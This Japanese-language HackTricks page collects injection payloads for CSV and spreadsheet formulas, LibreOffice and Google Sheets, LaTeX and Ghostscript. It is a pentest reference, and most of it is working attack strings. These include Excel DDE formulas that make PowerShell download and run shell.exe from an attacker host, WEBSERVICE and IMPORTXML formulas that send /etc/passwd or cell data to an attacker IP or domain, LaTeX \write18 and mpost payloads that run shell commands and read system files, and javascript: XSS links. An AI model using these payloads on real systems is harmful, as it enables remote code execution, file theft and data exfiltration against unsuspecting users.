Formula/CSV/Doc/LaTeX/GhostScript Injection

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする

Formula Injection

Info

あなたの入力CSVファイル(またはExcelで開かれる可能性のある他のファイル)内に反映されている場合、ユーザーがファイルを開くときや、ユーザーがExcelシート内のリンクをクリックするときに実行されるExcelの数式を挿入できるかもしれません。

現在、Excelは外部から何かが読み込まれたときに(何度も)ユーザーに警告します。これは、悪意のある行動を防ぐためです。したがって、最終的なペイロードには特別な社会工学的努力が必要です。

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

ハイパーリンク

以下の例は、最終的なExcelシートからコンテンツを抽出し、任意の場所にリクエストを行うのに非常に便利です。しかし、リンクをクリックする必要があり(警告プロンプトを受け入れる必要があります)、それが求められます。

以下の例は、https://payatu.com/csv-injection-basic-to-exploit から取られました。

学生記録管理システムにおけるセキュリティ侵害がCSVインジェクション攻撃を通じて悪用されることを想像してください。攻撃者の主な意図は、教師が学生の詳細を管理するために使用するシステムを侵害することです。この方法は、攻撃者がアプリケーションに悪意のあるペイロードを注入することを含み、具体的には学生の詳細用のフィールドに有害な数式を入力します。攻撃は次のように展開されます:

  1. 悪意のあるペイロードの注入:

  • 攻撃者は学生詳細フォームを提出しますが、スプレッドシートで一般的に使用される数式(例:=HYPERLINK("<malicious_link>","Click here"))を含めます。

  • この数式はハイパーリンクを作成するように設計されていますが、攻撃者が制御する悪意のあるサーバーを指しています。

  1. 侵害されたデータのエクスポート:

  • 教師は侵害に気づかず、アプリケーションの機能を使用してデータをCSVファイルにエクスポートします。

  • CSVファイルを開くと、依然として悪意のあるペイロードが含まれています。このペイロードはスプレッドシート内でクリック可能なハイパーリンクとして表示されます。

  1. 攻撃のトリガー:

  • 教師はハイパーリンクをクリックし、それが学生の詳細の正当な部分であると信じています。

  • クリックすると、機密データ(スプレッドシートの詳細や教師のコンピュータからの詳細を含む可能性があります)が攻撃者のサーバーに送信されます。

  1. データのログ記録:

  • 攻撃者のサーバーは、教師のコンピュータから送信された機密データを受信し、ログに記録します。

  • 攻撃者はこのデータをさまざまな悪意のある目的に使用し、学生や機関のプライバシーとセキュリティをさらに侵害することができます。

RCE

詳細については、元の投稿を確認してください。

特定の構成や古いバージョンのExcelでは、動的データ交換(DDE)と呼ばれる機能が任意のコマンドを実行するために悪用される可能性があります。これを利用するには、次の設定を有効にする必要があります:

  • ファイル → オプション → トラストセンター → トラストセンターの設定 → 外部コンテンツに移動し、動的データ交換サーバーの起動を有効にします。

悪意のあるペイロードを含むスプレッドシートが開かれると(ユーザーが警告を受け入れた場合)、ペイロードが実行されます。たとえば、計算機アプリケーションを起動するためのペイロードは次のようになります:

=cmd|' /C calc'!xxx

追加のコマンドも実行できます。たとえば、PowerShellを使用してファイルをダウンロードして実行することができます:

=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

Local File Inclusion (LFI) in LibreOffice Calc

LibreOffice Calcはローカルファイルを読み取り、データを抽出するために使用できます。以下はいくつかの方法です:

  • ローカルの/etc/passwdファイルから最初の行を読み取る:='file:///etc/passwd'#$passwd.A1

  • 読み取ったデータを攻撃者が制御するサーバーに抽出する:=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))

  • 1行以上を抽出する:=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))

  • DNS抽出(読み取ったデータを攻撃者が制御するDNSサーバーへのDNSクエリとして送信する):=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))

Google Sheets for Out-of-Band (OOB) Data Exfiltration

Google SheetsはOOBデータ抽出のために悪用できる関数を提供します:

  • CONCATENATE: 文字列を結合する - =CONCATENATE(A2:E2)

  • IMPORTXML: 構造化データタイプからデータをインポートする - =IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")

  • IMPORTFEED: RSSまたはATOMフィードをインポートする - =IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))

  • IMPORTHTML: HTMLテーブルまたはリストからデータをインポートする - =IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)

  • IMPORTRANGE: 別のスプレッドシートからセルの範囲をインポートする - =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")

  • IMAGE: セルに画像を挿入する - =IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")

LaTeX Injection

通常、インターネット上でLaTeXコードをPDFに変換するサーバーは**pdflatex**を使用します。 このプログラムはコマンド実行を(不)許可するために3つの主要な属性を使用します:

  • --no-shell-escape: \write18{command}構文を無効にします。texmf.cnfファイルで有効になっていてもです。

  • --shell-restricted: --shell-escapeと同じですが、事前定義された「安全な」コマンドのセットに制限されています(**Ubuntu 16.04ではリストは/usr/share/texmf/web2c/texmf.cnfにあります)。

  • --shell-escape: \write18{command}構文を有効にします。コマンドは任意のシェルコマンドであることができます。この構文は通常、セキュリティ上の理由から許可されていません。

ただし、コマンドを実行する他の方法もあるため、RCEを避けるためには--shell-restrictedを使用することが非常に重要です。

Read file

注入を[または$のようなラッパーで調整する必要があるかもしれません。

\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

単一行ファイルを読む

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

複数行のファイルを読む

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

ファイルを書く

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

コマンド実行

コマンドの入力はstdinにリダイレクトされるので、一時ファイルを使用して取得します。

\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}

LaTexエラーが発生した場合は、悪い文字なしで結果を得るためにbase64を使用することを検討してください。

\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}

クロスサイトスクリプティング

From @EdOverflow

\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

Ghostscript Injection

チェック https://blog.redteam-pentesting.de/2023/ghostscript-overview/

参考文献

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする

Last updated